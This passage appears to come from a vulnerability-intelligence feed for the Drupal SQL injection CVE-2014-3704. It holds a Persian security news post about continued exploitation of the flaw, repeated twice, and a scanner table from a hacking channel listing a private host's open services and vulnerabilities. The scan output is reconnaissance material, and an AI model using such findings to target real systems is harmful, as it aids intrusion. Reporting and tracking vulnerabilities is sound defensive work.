\u0645\u0637\u0645\u0626\u0646\u0627\u064b \u0627\u0645\u0631\u0648\u0632\u0647 \u0646\u06cc\u0632 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f. \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0645\u0648\u062c\u0628 \u0646\u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0628\u0631\u0627\u06cc \u06cc\u0627\u0641\u062a\u0646 \u0631\u0627\u0647\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f\u06cc \u062c\u062f\u06cc\u062f \u062a\u0644\u0627\u0634 \u0646\u06a9\u0646\u0646\u062f \u0648 \u062d\u062a\u06cc \u0648\u0628\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u062f\u0631 \u062e\u0637\u0631 \u0631\u0627 \u0628\u06cc\u0634\u062a\u0631 \u0627\u0632 \u0622\u0646 \u0622\u0644\u0648\u062f\u0647 \u0646\u06a9\u0646\u0646\u062f\u00bb. \n@informationsec\n\n\u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0645\u0648\u0627\u0631\u062f\u060c \u0639\u0648\u0627\u0645\u0644 \u0645\u062e\u0631\u0628 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc SQL Injection\u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u062c\u062f\u06cc\u062f \u0631\u0648\u06cc \u0648\u0628\u06af\u0627\u0647 Drupal \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u0628\u0647 \u0646\u0627\u0645\u200c\u0647\u0627\u06cc Derevos  Holako \u0648 Mr.R\u06f0\u06f0t\u06f2_\u06f4\u06f0  \u0646\u0627\u0645\u06cc\u062f\u0647 \u0634\u062f\u0647\u200c\u0627\u0646\u062f. \u0645\u0634\u062e\u0635 \u0646\u06cc\u0633\u062a \u06a9\u0647 \u0622\u06cc\u0627 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u062a\u0646\u0647\u0627 \u06cc\u06a9 \u0628\u0627\u0631 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0627\u06cc\u0646 \u0648\u0628\u06af\u0627\u0647\u200c\u0647\u0627 \u062a\u0644\u0627\u0634 \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u0646\u062f\u060c \u0686\u0631\u0627 \u06a9\u0647 \u0633\u0648\u06a9\u0648\u0631\u06cc \u0647\u0645\u0647\u200c\u06cc \u062a\u0644\u0627\u0634\u200e\u0647\u0627 \u0631\u0627 \u067e\u06cc\u0634 \u0627\u0632 \u0622\u0646\u06a9\u0647 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0645\u0648\u0641\u0642 \u0628\u0647 \u0627\u06cc\u062c\u0627\u062f \u062e\u0633\u0627\u0631\u062a\u06cc \u0634\u0648\u0646\u062f\u060c \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0634\u0627\u0631\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0631\u0634\u062f \u0641\u0632\u0627\u06cc\u0646\u062f\u0647\u200c\u0627\u06cc \u0631\u0627 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0647\u0631\u0632\u0646\u0627\u0645\u0647 SEO \u0639\u0644\u06cc\u0647 \u0648\u0628\u06af\u0627\u0647\u200c\u0647\u0627\u06cc Drupal 7 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \n\n\n#\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc_\u0642\u062f\u06cc\u0645\u06cc_Drupal_\u0647\u0646\u0648\u0632_\u0647\u0645_\u0628\u0631\u0627\u06cc_\u0646\u0641\u0648\u0630_\u0627\u0633\u062a\u0641\u0627\u062f\u0647_\u0645\u06cc\u200c\u0634\u0648\u062f\n#drupal\n\n\u0645\u0646\u0628\u0639\nhttps://news.asis.io/content/%D8%A2%D8%B3%DB%8C%D8%A8%E2%80%8C%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D9%82%D8%AF%DB%8C%D9%85%DB%8C-drupal-%D9%87%D9%86%D9%88%D8%B2-%D9%87%D9%85-%D8%A8%D8%B1%D8%A7%DB%8C-%D9%86%D9%81%D9%88%D8%B0-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D9%85%DB%8C%E2%80%8C%D8%B4%D9%88%D8%AF\n\nhttp://www.securityweek.com/old-drupal-flaw-still-used-hack-websites", "url": "https://t.me/informationsec/1093"}, {"timestamp": "2026-08-23T00:00:35.053Z", "date_only": false, "value": "2026-08-23T00:00:35.053784Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/informationsec/1093", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "a70874a7-fc0f-4f70-9762-d94b598c4c57", "content": "#\u062e\u0628\u0631\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0642\u062f\u06cc\u0645\u06cc Drupal \u0647\u0646\u0648\u0632 \u0647\u0645 \u0628\u0631\u0627\u06cc \u0646\u0641\u0648\u0630 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f!\n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc SQL Injection \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0645\u062d\u062a\u0648\u0627\u06cc \u0645\u062d\u0628\u0648\u0628 Drupal\u060c \u067e\u0633 \u0627\u0632 \u06f1\u06f9 \u0645\u0627\u0647 \u06a9\u0647 \u062a\u0648\u0633\u0637 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 Drupal \u0648\u0635\u0644\u0647 \u0634\u062f\u060c \u0647\u0646\u0648\u0632 \u0647\u0645 \u0628\u0647 \u0648\u0633\u06cc\u0644\u0647\u200c\u06cc \u0639\u0648\u0627\u0645\u0644 \u0645\u062e\u0631\u0628 \u0628\u0631\u0627\u06cc \u0646\u0641\u0648\u0630 \u0628\u0647 \u0648\u0628\u06af\u0627\u0647\u200c\u0647\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \n@informationsec\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0648\u0631\u062f \u0646\u0638\u0631\u060c \u06a9\u0647 \u062f\u0627\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0647 CVE-\u06f2\u06f0\u06f1\u06f4-\u06f3\u06f7\u06f0\u06f4 \u0627\u0633\u062a \u0648 \u0628\u0647 \u0648\u0633\u06cc\u0644\u0647\u200c\u06cc \u0645\u062d\u0642\u0642\u0627\u0646 \u0628\u0647 \u0646\u0627\u0645 \u00abDrupalgeddon\u00bb \u0646\u0627\u0645\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0628\u0647 \u06cc\u06a9 \u0631\u0627\u0628\u0637 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0646\u062a\u0632\u0627\u0639\u06cc \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u06a9\u0647 \u062a\u0648\u0633\u0637 Drupal 7  \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0645\u0631\u0628\u0648\u0637 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647 \u0628\u0647 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc SQL \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f \u0648 \u062f\u0631 \u0627\u062b\u0631 \u0622\u0646 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0627 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0648 \u06a9\u062f\u0647\u0627\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0648\u0635\u0644\u0647 \u062f\u0631 \u06f1\u06f5 \u0627\u06a9\u062a\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f4 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a. \n\n\u062a\u0646\u0647\u0627 \u062f\u0648 \u0647\u0641\u062a\u0647 \u067e\u0633 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0648\u0635\u0644\u0647\u200c\u0627\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u060c Drupal \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0647\u0645\u0647\u200c\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u062f\u0631 \u062e\u0637\u0631 \u062a\u0644\u0642\u06cc \u0634\u0648\u0646\u062f\u060c \u0645\u06af\u0631 \u0627\u06cc\u0646\u06a9\u0647 \u0638\u0631\u0641 \u0647\u0641\u062a \u0633\u0627\u0639\u062a \u0627\u06cc\u0646 \u0648\u0635\u0644\u0647\u200c\u0647\u0627 \u0627\u0639\u0645\u0627\u0644 \u0634\u0648\u0646\u062f. \n \n\u062d\u062a\u06cc \u0627\u0645\u0631\u0648\u0632\u0647 \u0646\u06cc\u0632 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0631\u0627 \u0648\u0635\u0644\u0647 \u0646\u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644\u060c \u0646\u0633\u062e\u0647\u200c\u0627\u06cc \u0627\u0632 Drupal \u06a9\u0647 \u062f\u0631 \u0627\u062b\u0631 \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0628\u0648\u062f\u0647 \u0627\u0633\u062a\u060c \u062f\u0631 \u062f\u0631\u06af\u0627\u0647 \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 \u0634\u0631\u06a9\u062a \u062d\u0642\u0648\u0642\u06cc Mossack Fonseca \u0645\u0633\u062a\u0642\u0631 \u062f\u0631 \u067e\u0627\u0646\u0627\u0645\u0627 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u06a9\u0647 \u0627\u062e\u06cc\u0631\u0627\u064b \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u060c \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647\u060c \u062a\u0635\u0627\u0648\u06cc\u0631 \u0648 \u0627\u0633\u0646\u0627\u062f \u0631\u0627 \u0627\u0632 \u0622\u0646 \u0646\u0634\u062a \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f. \n\n\u0634\u0631\u06a9\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc Sucuri  \u0628\u0647 \u0628\u0631\u0631\u0633\u06cc \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u06a9\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f4-\u06f3\u06f7\u06f0\u06f4 \u0631\u0627 \u0646\u0634\u0627\u0646\u0647 \u0631\u0641\u062a\u0647\u200c\u0627\u0646\u062f\u060c \u067e\u0631\u062f\u0627\u062e\u062a\u0647 \u0627\u0633\u062a. \u0628\u0646\u0627 \u0628\u0647 \u06af\u0641\u062a\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a\u060c \u067e\u0633 \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u0627\u0648\u0644\u06cc\u0647 \u062f\u0631 \u0627\u06a9\u062a\u0628\u0631 \u0648 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f4\u060c \u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u0647\u0632\u0627\u0631\u0627\u0646 \u0648\u0628\u06af\u0627\u0647\u060c \u0645\u0648\u0631\u062f \u062d\u0645\u0644\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u060c \u062a\u0639\u062f\u0627\u062f \u062d\u0645\u0644\u0627\u062a \u06a9\u0627\u0647\u0634 \u06cc\u0627\u0641\u062a\u060c \u0627\u0645\u0627 \u062f\u0631 \u0637\u06cc \u0633\u0627\u0644\u0647\u0627\u06cc \u06f2\u06f0\u06f1\u06f5 \u0648 \u06f2\u06f0\u06f1\u06f6 \u0631\u0648\u0646\u062f \u062b\u0627\u0628\u062a\u06cc \u062f\u0627\u0634\u062a\u0647 \u0627\u0633\u062a. \n \n\u0634\u0631\u06a9\u062a Sucuri  \u0633\u0647\u200c\u0634\u0646\u0628\u0647 \u062f\u0631 \u067e\u0633\u062a \u0648\u0628\u0644\u0627\u06af \u062e\u0648\u062f \u06af\u0641\u062a\u0647 \u0627\u0633\u062a: \u00ab\u0627\u06af\u0631 \u06a9\u0633\u06cc \u0627\u06cc\u0646 \u0648\u0635\u0644\u0647\u200c\u0647\u0627 \u0631\u0627 \u0627\u0639\u0645\u0627\u0644 \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a\u060c \u0645\u0637\u0645\u0626\u0646\u0627\u064b \u0627\u0645\u0631\u0648\u0632\u0647 \u0646\u06cc\u0632 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f. \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0645\u0648\u062c\u0628 \u0646\u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0628\u0631\u0627\u06cc \u06cc\u0627\u0641\u062a\u0646 \u0631\u0627\u0647\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f\u06cc \u062c\u062f\u06cc\u062f \u062a\u0644\u0627\u0634 \u0646\u06a9\u0646\u0646\u062f \u0648 \u062d\u062a\u06cc \u0648\u0628\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u062f\u0631 \u062e\u0637\u0631 \u0631\u0627 \u0628\u06cc\u0634\u062a\u0631 \u0627\u0632 \u0622\u0646 \u0622\u0644\u0648\u062f\u0647 \u0646\u06a9\u0646\u0646\u062f\u00bb. \n@informationsec\n\n\u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0645\u0648\u0627\u0631\u062f\u060c \u0639\u0648\u0627\u0645\u0644 \u0645\u062e\u0631\u0628 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc SQL Injection\u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u062c\u062f\u06cc\u062f \u0631\u0648\u06cc \u0648\u0628\u06af\u0627\u0647 Drupal \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u0628\u0647 \u0646\u0627\u0645\u200c\u0647\u0627\u06cc Derevos  Holako \u0648 Mr.R\u06f0\u06f0t\u06f2_\u06f4\u06f0  \u0646\u0627\u0645\u06cc\u062f\u0647 \u0634\u062f\u0647\u200c\u0627\u0646\u062f. \u0645\u0634\u062e\u0635 \u0646\u06cc\u0633\u062a \u06a9\u0647 \u0622\u06cc\u0627 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u062a\u0646\u0647\u0627 \u06cc\u06a9 \u0628\u0627\u0631 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0627\u06cc\u0646 \u0648\u0628\u06af\u0627\u0647\u200c\u0647\u0627 \u062a\u0644\u0627\u0634 \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u0646\u062f\u060c \u0686\u0631\u0627 \u06a9\u0647 \u0633\u0648\u06a9\u0648\u0631\u06cc \u0647\u0645\u0647\u200c\u06cc \u062a\u0644\u0627\u0634\u200e\u0647\u0627 \u0631\u0627 \u067e\u06cc\u0634 \u0627\u0632 \u0622\u0646\u06a9\u0647 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0645\u0648\u0641\u0642 \u0628\u0647 \u0627\u06cc\u062c\u0627\u062f \u062e\u0633\u0627\u0631\u062a\u06cc \u0634\u0648\u0646\u062f\u060c \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0634\u0627\u0631\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0631\u0634\u062f \u0641\u0632\u0627\u06cc\u0646\u062f\u0647\u200c\u0627\u06cc \u0631\u0627 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0647\u0631\u0632\u0646\u0627\u0645\u0647 SEO \u0639\u0644\u06cc\u0647 \u0648\u0628\u06af\u0627\u0647\u200c\u0647\u0627\u06cc Drupal 7 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \n\n\n#\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc_\u0642\u062f\u06cc\u0645\u06cc_Drupal_\u0647\u0646\u0648\u0632_\u0647\u0645_\u0628\u0631\u0627\u06cc_\u0646\u0641\u0648\u0630_\u0627\u0633\u062a\u0641\u0627\u062f\u0647_\u0645\u06cc\u200c\u0634\u0648\u062f\n#drupal\n\n\u0645\u0646\u0628\u0639\nhttps://news.asis.io/content/%D8%A2%D8%B3%DB%8C%D8%A8%E2%80%8C%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D9%82%D8%AF%DB%8C%D9%85%DB%8C-drupal-%D9%87%D9%86%D9%88%D8%B2-%D9%87%D9%85-%D8%A8%D8%B1%D8%A7%DB%8C-%D9%86%D9%81%D9%88%D8%B0-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D9%85%DB%8C%E2%80%8C%D8%B4%D9%88%D8%AF\n\nhttp://www.securityweek.com/old-drupal-flaw-still-used-hack-websites", "url": "https://t.me/informationsec/1093"}, {"timestamp": "2026-08-23T00:00:35.284Z", "date_only": false, "value": "2026-08-23T00:00:35.284320Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/informationsec/1094", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "5a6abd04-1b0c-4dff-8c16-075c2e59782e", "content": "Drupal SQLi (Drupalgeddon) Attack Trend CVE-2014-3704 / SA-CORE-2014-005\n\n@informationsec", "url": "https://t.me/informationsec/1094"}, {"timestamp": "2026-09-01T20:00:42.166Z", "date_only": false, "value": "2026-09-01T20:00:42.166921Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/129253", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "fcd65916-738e-441c-abda-13facaa62d7b", "content": "\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 192.168.0.10 \u2502          \u2502      \u2502            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n[Open ports]\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 ip           \u2503 proto \u2503 port \u2503 service     \u2503 product      \u2503 version                       \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 192.168.0.10 \u2502 tcp   \u2502 21   \u2502 ftp         \u2502 ProFTPD      \u2502 1.3.5                      \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 ssh         \u2502 OpenSSH      \u2502 6.6.1p1 Ubuntu 2ubuntu2.10 \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 http        \u2502 Apache httpd \u2502 2.4.7                      \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 445  \u2502 netbios-ssn \u2502 Samba smbd   \u2502 3.X - 4.X                  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 ipp         \u2502 CUPS         \u2502 1.7                        \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n[Vulnerabilities]\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 ip           \u2503 proto \u2503 port \u2503 vuln_name                                                           \u2503 cve            \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 192.168.0.10 \u2502 tcp   \u2502 0    \u2502 TCP Timestamps Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure)                               \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 21   \u2502 FTP Unencrypted Cleartext Login                                     \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 Weak MAC Algorithm(s) Supported (SSH)                               \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 Weak Encryption Algorithm(s) Supported (SSH)                        \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 Weak Host Key Algorithm(s) (SSH)                                    \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 22   \u2502 Weak Key Exchange (KEX) Algorithm(s) Supported (SSH)                \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Test HTTP dangerous methods                                            \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check    \u2502 CVE-2014-3704  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Drupal Coder RCE Vulnerability (SA-CONTRIB-2016-039) - Active Check \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Sensitive File Disclosure (HTTP)                                    \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Unprotected Web App / Device Installers (HTTP)                      \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Cleartext Transmission of Sensitive Information (https://www.kitploit.com/search/label/Sensitive%20Information) via HTTP            \u2502 N/A            \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 jQuery < 1.9.0 XSS Vulnerability                                    \u2502 CVE-2012-6708  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 jQuery < 1.6.3 XSS Vulnerability                                    \u2502 CVE-2011-4969  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 80   \u2502 Drupal 7.0 Information Disclosure Vulnerability - Active Check      